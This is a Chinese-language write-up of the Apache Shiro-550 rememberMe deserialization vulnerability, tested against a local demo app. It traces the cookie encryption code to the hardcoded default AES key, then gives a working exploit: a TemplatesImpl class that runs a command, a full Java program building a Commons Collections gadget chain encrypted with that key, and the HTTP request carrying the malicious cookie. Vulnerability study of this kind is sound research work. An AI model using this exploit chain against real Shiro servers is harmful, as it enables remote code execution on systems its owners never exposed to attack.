Shiro550
环境配置
jdk 8u65
shiro这里我用的是p神的dome
tomcat服务器
漏洞利用流程
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
漏洞分析
在我们登陆后root/secret
,如果点击remember,网站则会生成一个cookie记住我们的登陆信息
实际后端是对用户登录信息进行序列化,然后进行AES加密后base64
所以我们就能构造恶意序列化代码,然后以相同的加密方法加密传入,后端会进行相应的反序列化,同时没有严格的过滤,从而执行了我们的恶意代码
分析加密过程
我们去搜索生成cookie的相关类和方法
找到了CookieRememberMeManager
类
其中rememberSerializedIdentity()
方法中对我们传入的序列化字符串serialized进行了base64加密
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
我们跟进,看哪里调用了此方法
在AbstractRememberMeManager
中的 rememberIdentity()
方法中找到了rememberIdentity
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}
看看哪里调用了rememberIdentity()
我们跟到onSuccessfulLogin
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
此处会经过isRememberMe(token)判断,也就是判断cookie是否存在rememberMe字段
步入到rememberIdentity
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
rememberIdentity(subject, principals);
}
调用了getIdentityToRemember()作用是获取用户名赋值给principals
我们回去跟进this.rememberIdentity(subject, principals)
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
我们进入 convertPrincipalsToBytes()
方法
可以看到对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt()
方法进行加密
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
一直跟进
一直跟进到encrypt方法
调用了getCipherService()方法返回一种AES加密方式,通过向上查找密钥生成逻辑,找到了setCipherkey()方法
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
跟进
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
可以看到传入静态变量为类中定义好的常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
找到密钥了,我们重新回到rememberIdentity方法
下一步他调用了rememberSerializedIdentity()方法
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
然后就得到了rememberMe字段
漏洞利用
根据CC3链子构造
构造恶意类
package shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws IOException {
super();
Runtime.getRuntime().exec("calc.exe");
}
}
完整代码
package shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ShiroCC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("shiroTest.EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// faketransformer防止构造时触发
Transformer faketransformer = new InvokerTransformer("getClass", null, null);
// CC6pro
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, faketransformer);
// key传入恶意TemplatesImpl对象
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
HashMap expMap = new HashMap();
expMap.put(tme, "value");
outerMap.clear();
//将faketransformer改造,iMethodName换成newTransformer触发链子
setFieldValue(faketransformer, "iMethodName", "newTransformer");
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// shiro数据生成
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}
发包
GET /shirodemo_war/ HTTP/1.1
Host: localhost:8083
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: rememberMe=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
Connection: close